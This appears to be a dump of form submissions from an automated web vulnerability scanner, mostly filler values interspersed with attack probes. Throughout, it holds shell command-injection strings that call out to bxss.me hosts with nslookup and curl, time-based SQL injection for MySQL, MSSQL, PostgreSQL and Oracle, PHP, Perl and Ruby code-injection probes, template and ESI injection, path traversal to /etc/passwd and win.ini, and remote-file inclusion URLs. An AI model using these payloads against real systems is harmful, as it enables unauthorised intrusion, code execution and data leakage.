555&echo hrzdes$()\ nxtipm\nz^xyu||a #' &echo hrzdes$()\ nxtipm\nz^xyu||a #|" &echo hrzdes$()\ nxtipm\nz^xyu||a #
|echo wbcbig$()\ diisxg\nz^xyu||a #' |echo wbcbig$()\ diisxg\nz^xyu||a #|" |echo wbcbig$()\ diisxg\nz^xyu||a #
555|echo lfwxwc$()\ oylwrd\nz^xyu||a #' |echo lfwxwc$()\ oylwrd\nz^xyu||a #|" |echo lfwxwc$()\ oylwrd\nz^xyu||a #
(nslookup -q=cname hituxqfmutzqyc9667.bxss.me||curl hituxqfmutzqyc9667.bxss.me))
$(nslookup -q=cname hitrykcmbbnlwef8a1.bxss.me||curl hitrykcmbbnlwef8a1.bxss.me)
&nslookup -q=cname hitezthxmdtap71abc.bxss.me&'\"`0&nslookup -q=cname hitezthxmdtap71abc.bxss.me&`'
&(nslookup -q=cname hittvjjlmljbr2447a.bxss.me||curl hittvjjlmljbr2447a.bxss.me)&'\"`0&(nslookup -q=cname hittvjjlmljbr2447a.bxss.me||curl hittvjjlmljbr2447a.bxss.me)&`'
|(nslookup -q=cname hitulrvugynmq911d9.bxss.me||curl hitulrvugynmq911d9.bxss.me)
`(nslookup -q=cname hitlbvjjyfnrqefb22.bxss.me||curl hitlbvjjyfnrqefb22.bxss.me)`
;(nslookup -q=cname hitvevbrzbbql6a6a5.bxss.me||curl hitvevbrzbbql6a6a5.bxss.me)|(nslookup -q=cname hitvevbrzbbql6a6a5.bxss.me||curl hitvevbrzbbql6a6a5.bxss.me)&(nslookup -q=cname hitvevbrzbbql6a6a5.bxss.me||curl hitvevbrzbbql6a6a5.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitszeaxzwbbre44e7.bxss.me||curl${IFS}hitszeaxzwbbre44e7.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitmthdiqssou6a992.bxss.me||curl${IFS}hitmthdiqssou6a992.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmthdiqssou6a992.bxss.me||curl${IFS}hitmthdiqssou6a992.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
UJ8QFoaP
vGjTsa5R: fReB4Fvy
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
)
!(()&&!|*|*|
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555'&&sleep(27*1000)*iguiav&&'
555"&&sleep(27*1000)*dfzkhk&&"
555'||sleep(27*1000)*vfdfox||'
555"||sleep(27*1000)*vumylr||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitsh'.'tmkqojhv60eec.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(68).chr(118).chr(90).'
".gethostbyname(lc("hitht"."xnwkvdva67226.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(85).chr(118).chr(76)."
gethostbyname(lc('hitlx'.'hxwdpryae78a0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(82).chr(111).chr(67)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
print(md5(31337));//
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
<!--
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(103).concat(75).concat(121).concat(85)+(require"socket" Socket.gethostbyname("hitld"+"qfcuektyb0088.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(108).concat(90).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitwa'+'twvrbtex27244.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(106).concat(78).concat(99).concat(81)+(require'socket' Socket.gethostbyname('hitze'+'damibpti3daca.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555mHXr7x5t'; waitfor delay '0:0:15' --
555-1 OR 586=(SELECT 586 FROM PG_SLEEP(15))--
555-1) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
555-1)) OR 612=(SELECT 612 FROM PG_SLEEP(15))--
555zMEVb4Ub' OR 579=(SELECT 579 FROM PG_SLEEP(15))--
555qbuu6f5z') OR 160=(SELECT 160 FROM PG_SLEEP(15))--
555lbBHIcbq')) OR 388=(SELECT 388 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@o9WXF
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
${10000376+9999078}
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9331586*9559450)
555
555
'+response.write(9331586*9559450)+'
555
555
555
555
"+response.write(9331586*9559450)+"
555
555
555
555
555
wvXT6e6k
../../../../../../../../../../../../../../etc/passwd
555
555
0nunV33D: emjHGevy
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
file:///etc/passwd
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
../555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
/etc/shells
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
bxss.me
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
!(()&&!|*|*|
echo ughkai$()\ jbdrxs\nz^xyu||a #' &echo ughkai$()\ jbdrxs\nz^xyu||a #|" &echo ughkai$()\ jbdrxs\nz^xyu||a #
555
555
&echo gffyhs$()\ zkgirs\nz^xyu||a #' &echo gffyhs$()\ zkgirs\nz^xyu||a #|" &echo gffyhs$()\ zkgirs\nz^xyu||a #
^(#$!@#$)(()))******
555
555
555
555&echo mkhsci$()\ jycjhq\nz^xyu||a #' &echo mkhsci$()\ jycjhq\nz^xyu||a #|" &echo mkhsci$()\ jycjhq\nz^xyu||a #
555
555
|echo tbdpxk$()\ vldbss\nz^xyu||a #' |echo tbdpxk$()\ vldbss\nz^xyu||a #|" |echo tbdpxk$()\ vldbss\nz^xyu||a #
555
555
555
555
555
555|echo brpukg$()\ uvjsao\nz^xyu||a #' |echo brpukg$()\ uvjsao\nz^xyu||a #|" |echo brpukg$()\ uvjsao\nz^xyu||a #
555
555
555
(nslookup -q=cname hitvlmxhlifyka10a6.bxss.me||curl hitvlmxhlifyka10a6.bxss.me))
555
555
555
555
$(nslookup -q=cname hitsnqvbsltvyba890.bxss.me||curl hitsnqvbsltvyba890.bxss.me)
555
555
555
&nslookup -q=cname hitqhaujpciqtcfb30.bxss.me&'\"`0&nslookup -q=cname hitqhaujpciqtcfb30.bxss.me&`'
555
555
555
&(nslookup -q=cname hitksiylqemqa0a2d7.bxss.me||curl hitksiylqemqa0a2d7.bxss.me)&'\"`0&(nslookup -q=cname hitksiylqemqa0a2d7.bxss.me||curl hitksiylqemqa0a2d7.bxss.me)&`'
555
555
555
'.gethostbyname(lc('hitpy'.'sgehtwsn4a625.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(72).chr(98).chr(83).'
|(nslookup -q=cname hitwykgzisuzg3bdb4.bxss.me||curl hitwykgzisuzg3bdb4.bxss.me)
555
555
".gethostbyname(lc("hitbj"."wbucfgee422b5.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(83).chr(122).chr(76)."
`(nslookup -q=cname hitjkdfsomynr2badc.bxss.me||curl hitjkdfsomynr2badc.bxss.me)`
555
555
555
;(nslookup -q=cname hitsdpylswqpb4ce2d.bxss.me||curl hitsdpylswqpb4ce2d.bxss.me)|(nslookup -q=cname hitsdpylswqpb4ce2d.bxss.me||curl hitsdpylswqpb4ce2d.bxss.me)&(nslookup -q=cname hitsdpylswqpb4ce2d.bxss.me||curl hitsdpylswqpb4ce2d.bxss.me)
gethostbyname(lc('hitmr'.'zvljokmr511fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(82).chr(115).chr(76)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitoqbbcjliiu866b9.bxss.me||curl${IFS}hitoqbbcjliiu866b9.bxss.me)
555
'"
555
555
555
<!--
&(nslookup${IFS}-q${IFS}cname${IFS}hitsrxfwcojasd4cd0.bxss.me||curl${IFS}hitsrxfwcojasd4cd0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsrxfwcojasd4cd0.bxss.me||curl${IFS}hitsrxfwcojasd4cd0.bxss.me)&`'
555
'"()
555
555
555
555'&&sleep(27*1000)*bwteey&&'
555
555
555
555
555"&&sleep(27*1000)*lapqhb&&"
555
555
555
555'||sleep(27*1000)*qqlgdj||'
555
555
555
555
555
555"||sleep(27*1000)*rvuiud||"
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
bxss.me/t/xss.html?%00
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(89).concat(100).concat(87)+(require"socket" Socket.gethostbyname("hitde"+"eqxykdth06837.bxss.me.")[3].to_s)+"
555
555
';print(md5(31337));$a='
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(89).concat(102).concat(72)+(require'socket' Socket.gethostbyname('hiteg'+'vabxzozm8d224.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(98).concat(86).concat(118).concat(66)+(require'socket' Socket.gethostbyname('hityy'+'tfuprrhvfccb7.bxss.me.')[3].to_s)
";print(md5(31337));$a="
555
555
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555Ooa8xLFY'; waitfor delay '0:0:15' --
555-1 OR 30=(SELECT 30 FROM PG_SLEEP(15))--
555-1) OR 984=(SELECT 984 FROM PG_SLEEP(15))--
555-1)) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
55538DmMq3i' OR 64=(SELECT 64 FROM PG_SLEEP(15))--
555t7U0LX7u') OR 24=(SELECT 24 FROM PG_SLEEP(15))--
555eWDq478J')) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@7F4wY
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999084+9999903}
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
8qQmvpLC
555
response.write(9084603*9043134)
555
555
555
555
6NdgPjTk: kk49miZn
555
'+response.write(9084603*9043134)+'
555
../../../../../../../../../../../../../../etc/passwd
555
555
"+response.write(9084603*9043134)+"
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
file:///etc/passwd
555
555
)
555
555
555
555
555
555
555
555
!(()&&!|*|*|
555
../555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
555
555
'"
'.gethostbyname(lc('hittq'.'pvqjlfyg428dc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(76).chr(109).chr(66).'
555
Http://bxss.me/t/fit.txt
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
".gethostbyname(lc("hiteo"."vgyzyirdf707b.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(89).chr(103).chr(71)."
<!--
555
bxss.me/t/xss.html?%00
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
gethostbyname(lc('hitdl'.'atqxxfmpbaecc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(70).chr(119).chr(76)
555
/etc/shells
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(113).concat(69).concat(113).concat(76)+(require"socket" Socket.gethostbyname("hitld"+"sjvxuyxt95cc4.bxss.me.")[3].to_s)+"
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(98).concat(79).concat(102).concat(89)+(require'socket' Socket.gethostbyname('hitua'+'euoeckmj717f9.bxss.me.')[3].to_s)+'
555
555
555
555
555
555
555
c:/windows/win.ini
555
555
'A'.concat(70-3).concat(22*4).concat(108).concat(85).concat(112).concat(74)+(require'socket' Socket.gethostbyname('hitqb'+'kmfzprena338d.bxss.me.')[3].to_s)
555
555
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo enujlz$()\ mgauxo\nz^xyu||a #' &echo enujlz$()\ mgauxo\nz^xyu||a #|" &echo enujlz$()\ mgauxo\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
'"()
&echo addnse$()\ qkiwyb\nz^xyu||a #' &echo addnse$()\ qkiwyb\nz^xyu||a #|" &echo addnse$()\ qkiwyb\nz^xyu||a #
555
555
555
555
555
555
555
555
555'&&sleep(27*1000)*ewxnwm&&'
555
555&echo adulya$()\ tkflow\nz^xyu||a #' &echo adulya$()\ tkflow\nz^xyu||a #|" &echo adulya$()\ tkflow\nz^xyu||a #
555
555
555"&&sleep(27*1000)*bqcfbq&&"
555
555
555
555
555
|echo khopmw$()\ rdhawd\nz^xyu||a #' |echo khopmw$()\ rdhawd\nz^xyu||a #|" |echo khopmw$()\ rdhawd\nz^xyu||a #
555'||sleep(27*1000)*nfiivx||'
555
555
555
555
555"||sleep(27*1000)*ghomcn||"
555
555
555|echo mfkvan$()\ rquqhw\nz^xyu||a #' |echo mfkvan$()\ rquqhw\nz^xyu||a #|" |echo mfkvan$()\ rquqhw\nz^xyu||a #
555
555
555
555
555
(nslookup -q=cname hitnwhyiagbfm338a8.bxss.me||curl hitnwhyiagbfm338a8.bxss.me))
555
555
555
555
555
555
555
$(nslookup -q=cname hitnwwrucffeb2baeb.bxss.me||curl hitnwwrucffeb2baeb.bxss.me)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
&nslookup -q=cname hitycbnpvqvaw3d10a.bxss.me&'\"`0&nslookup -q=cname hitycbnpvqvaw3d10a.bxss.me&`'
555
555
';print(md5(31337));$a='
555
555
&(nslookup -q=cname hitjeuqqwukdz6a0a5.bxss.me||curl hitjeuqqwukdz6a0a5.bxss.me)&'\"`0&(nslookup -q=cname hitjeuqqwukdz6a0a5.bxss.me||curl hitjeuqqwukdz6a0a5.bxss.me)&`'
";print(md5(31337));$a="
555
|(nslookup -q=cname hityiynrjhvxc06bd7.bxss.me||curl hityiynrjhvxc06bd7.bxss.me)
555
${@print(md5(31337))}
555
`(nslookup -q=cname hitivunkutirtb03c6.bxss.me||curl hitivunkutirtb03c6.bxss.me)`
555
;(nslookup -q=cname hitjybgeqxevz355f6.bxss.me||curl hitjybgeqxevz355f6.bxss.me)|(nslookup -q=cname hitjybgeqxevz355f6.bxss.me||curl hitjybgeqxevz355f6.bxss.me)&(nslookup -q=cname hitjybgeqxevz355f6.bxss.me||curl hitjybgeqxevz355f6.bxss.me)
${@print(md5(31337))}\
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitrfkunwzozt88b1c.bxss.me||curl${IFS}hitrfkunwzozt88b1c.bxss.me)
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitlsbqonzyog16408.bxss.me||curl${IFS}hitlsbqonzyog16408.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlsbqonzyog16408.bxss.me||curl${IFS}hitlsbqonzyog16408.bxss.me)&`'
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555WAdv8YVD'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555-1 OR 839=(SELECT 839 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555-1) OR 751=(SELECT 751 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555-1)) OR 582=(SELECT 582 FROM PG_SLEEP(15))--
555
555
555
555ZtBejq5T' OR 689=(SELECT 689 FROM PG_SLEEP(15))--
555
555
555
555
555Ooxw5zNE') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
555
555
555LyWr3BOV')) OR 978=(SELECT 978 FROM PG_SLEEP(15))--
555
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555
555'"
555
555
555
@@TIvIR
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${10000172+9999749}
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9318947*9743159)
555
'+response.write(9318947*9743159)+'
555
555
555
"+response.write(9318947*9743159)+"
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
file:///etc/passwd
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
../555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
bAV3DL3F
555
555
555
gjxOLbZn: 408zzFxp
555
Http://bxss.me/t/fit.txt
xfs.bxss.me
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
/etc/shells
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
555
555
c:/windows/win.ini
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555
555
echo yoggvw$()\ vtwnld\nz^xyu||a #' &echo yoggvw$()\ vtwnld\nz^xyu||a #|" &echo yoggvw$()\ vtwnld\nz^xyu||a #
^(#$!@#$)(()))******
555
555
&echo ustfsr$()\ vraqye\nz^xyu||a #' &echo ustfsr$()\ vraqye\nz^xyu||a #|" &echo ustfsr$()\ vraqye\nz^xyu||a #
555
555
'.gethostbyname(lc('hitfb'.'vzscgwtxf12e4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(88).chr(107).chr(81).'
".gethostbyname(lc("hitmx"."chvahzzcb5b83.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(84).chr(105).chr(80)."
555
555
555&echo xfjabl$()\ ogjwlk\nz^xyu||a #' &echo xfjabl$()\ ogjwlk\nz^xyu||a #|" &echo xfjabl$()\ ogjwlk\nz^xyu||a #
555
gethostbyname(lc('hitrs'.'urnkwbnm031b2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(73).chr(102).chr(73)
555
555
555
555
|echo cteioo$()\ wepxtf\nz^xyu||a #' |echo cteioo$()\ wepxtf\nz^xyu||a #|" |echo cteioo$()\ wepxtf\nz^xyu||a #
555
555
555
555|echo smplxe$()\ yrupss\nz^xyu||a #' |echo smplxe$()\ yrupss\nz^xyu||a #|" |echo smplxe$()\ yrupss\nz^xyu||a #
555
555
555
(nslookup -q=cname hitriuqqysrwbaa30f.bxss.me||curl hitriuqqysrwbaa30f.bxss.me))
555
555
555
555
555
555
555
555
$(nslookup -q=cname hitvuhpuuovno473f5.bxss.me||curl hitvuhpuuovno473f5.bxss.me)
555
555
555
555
&nslookup -q=cname hitjjmdqezmnve6206.bxss.me&'\"`0&nslookup -q=cname hitjjmdqezmnve6206.bxss.me&`'
555
555
&(nslookup -q=cname hittbklaldhsh46d63.bxss.me||curl hittbklaldhsh46d63.bxss.me)&'\"`0&(nslookup -q=cname hittbklaldhsh46d63.bxss.me||curl hittbklaldhsh46d63.bxss.me)&`'
|(nslookup -q=cname hitmibzshikbmce5f9.bxss.me||curl hitmibzshikbmce5f9.bxss.me)
555
555
555
`(nslookup -q=cname hitntkzbxtsuha26da.bxss.me||curl hitntkzbxtsuha26da.bxss.me)`
555
555
555
555
;(nslookup -q=cname hitsomsrdpiypa5640.bxss.me||curl hitsomsrdpiypa5640.bxss.me)|(nslookup -q=cname hitsomsrdpiypa5640.bxss.me||curl hitsomsrdpiypa5640.bxss.me)&(nslookup -q=cname hitsomsrdpiypa5640.bxss.me||curl hitsomsrdpiypa5640.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitzhiodocsce64c43.bxss.me||curl${IFS}hitzhiodocsce64c43.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hityxfaskrouc87bce.bxss.me||curl${IFS}hityxfaskrouc87bce.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityxfaskrouc87bce.bxss.me||curl${IFS}hityxfaskrouc87bce.bxss.me)&`'
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555
555'&&sleep(27*1000)*brngdm&&'
555
HttP://bxss.me/t/xss.html?%00
555
555
bxss.me/t/xss.html?%00
555"&&sleep(27*1000)*tbyqiw&&"
'"
555
555
555
555'||sleep(27*1000)*xziroe||'
555
555"||sleep(27*1000)*ngtwzl||"
<!--
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(85).concat(102).concat(84)+(require"socket" Socket.gethostbyname("hitob"+"beckwjys266ae.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(104).concat(74).concat(107).concat(89)+(require'socket' Socket.gethostbyname('hitmm'+'wibhozklc23d7.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(111).concat(80).concat(118).concat(85)+(require'socket' Socket.gethostbyname('hitbr'+'fxciednac3855.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
555
555
555
555
555
555
555
";print(md5(31337));$a="
555
555
555
${@print(md5(31337))}
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
${@print(md5(31337))}\
555
555
555
555
1
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
1
555
555
555
'{${print(md5(31337))}}'
1
555
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
555
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
1
555
555
1
1
555
1
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
555
1
555
555
555
1
555
1
1
1
555
1
1
1
555
555
1
1
555
1
1
1
555
555
555
1
555
555
555
555
555
555
555
555
1
555
555
555
1
555
1
555
1
555
1
555
555
1
1
1
555
555
1
1
555
1
1
1
555
1
1
555
1
555
1
1
555
1
1
1
1
555
1
555
1
555
1
1
555
555
555
1
1
1
${9999942+10000243}
555<esi:include src="http://bxss.me/rpb.png"/>
555
1
555
1
555
555
1
555
555
555
1
555
555
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
1
555
555
1
1
1
555
555
1
1
555
555
555
555
1
555
1
1
KdpDPXXb
555
1
1
555
555
oSazaG3e: a1xzOWgu
555
1
555
555
555
response.write(9690069*9686336)
1
555
1
1
555
1
1
'+response.write(9690069*9686336)+'
555
555
1
555
1
"+response.write(9690069*9686336)+"
555
555
1
555
555
1
555
555
../../../../../../../../../../../../../../etc/passwd
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
1
555
Http://bxss.me/t/fit.txt
555
555
1
555
../../../../../../../../../../../../../../windows/win.ini
555
555
1
http://bxss.me/t/fit.txt%3F.jpg
1
555
file:///etc/passwd
555
555
555
1
555
/etc/shells
../555
1
xfs.bxss.me
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
1
555
555
555
555
bxss.me
555
555
555
555
555
555
)
555
555
555
!(()&&!|*|*|
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitqe'.'kyckspvxac688.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(88).chr(116).chr(87).'
555
555
555
".gethostbyname(lc("hitom"."ftndfoku2fc47.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(76).chr(103).chr(79)."
555
555
555
555
gethostbyname(lc('hitly'.'cabvyeaxc859c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(99).chr(83)
echo qjiyym$()\ egvukk\nz^xyu||a #' &echo qjiyym$()\ egvukk\nz^xyu||a #|" &echo qjiyym$()\ egvukk\nz^xyu||a #
555
555
555
555
555
555
&echo iouctq$()\ bflodw\nz^xyu||a #' &echo iouctq$()\ bflodw\nz^xyu||a #|" &echo iouctq$()\ bflodw\nz^xyu||a #
555
555
555
555
555
555
555&echo fjivgp$()\ zmaqlv\nz^xyu||a #' &echo fjivgp$()\ zmaqlv\nz^xyu||a #|" &echo fjivgp$()\ zmaqlv\nz^xyu||a #
555
555
555
555
555
'"
|echo ufmppx$()\ resnyt\nz^xyu||a #' |echo ufmppx$()\ resnyt\nz^xyu||a #|" |echo ufmppx$()\ resnyt\nz^xyu||a #
555
555|echo bfvyou$()\ eyqjkk\nz^xyu||a #' |echo bfvyou$()\ eyqjkk\nz^xyu||a #|" |echo bfvyou$()\ eyqjkk\nz^xyu||a #
555
<!--
555
555
555
555
(nslookup -q=cname hitmfeyephmxzc96d9.bxss.me||curl hitmfeyephmxzc96d9.bxss.me))
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
$(nslookup -q=cname hitbdcrbwnkglf180f.bxss.me||curl hitbdcrbwnkglf180f.bxss.me)
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(108).concat(79).concat(112).concat(77)+(require"socket" Socket.gethostbyname("hitsq"+"xziitauac031e.bxss.me.")[3].to_s)+"
bxss.me/t/xss.html?%00
555
555
555
555
